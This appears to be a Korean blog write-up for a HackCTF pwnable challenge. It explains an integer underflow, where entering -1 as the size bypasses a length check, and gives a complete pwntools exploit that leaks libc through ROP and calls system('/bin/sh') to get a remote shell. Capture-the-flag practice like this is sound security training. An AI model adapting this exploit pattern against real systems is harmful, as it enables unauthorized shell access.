풀이
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
원하는 사이즈를 입력하고 data를 입력받고 프로그램을 종료한다.
size를 입력받는 데 32 이상이면 프로그램이 종료된다.
overflow를 발생시키려면 무조건 nptr의 크기보다 크게 입력을 받아야한다.
이 문제는 간단하게 Integer underflow를 이용해 해결할 수 있다. (Integer underflow를 모른다면 꼭 찾아보시길)
size에 -1를 넣어 크기를 아주 많이 넉넉하게 늘려주자.
그 후, ROP를 이용해 쉘을 따주면 된다
from pwn import *
#context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
pr = 0x804835d
ppr = 0x804864e
p.sendline('-1')
payload = 'A'*48
payload += p32(e.plt['printf'])
payload += p32(pr)
payload += p32(e.got['printf'])
payload += p32(e.symbols['vuln'])
p.recvuntil('!\n')
p.sendline(payload)
p.recvline()
arr = u32(p.recv(4))
base = arr - 0x49020
system = base + 0x3a940
binsh = base + 0x15902b
p.sendline('-1')
payload = 'A'*48
payload += p32(system)
payload += 'B'*4
payload += p32(binsh)
p.recvuntil('!\n')
p.sendline(payload)
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] ROP 풀이 (300p) (0) | 2020.12.29 |
---|---|
[HackCTF] UAF 풀이 (300p) (0) | 2020.12.28 |
[HackCTF] Gift 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] Look at me 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] Beginner_Heap 풀이 (250p) (0) | 2020.12.28 |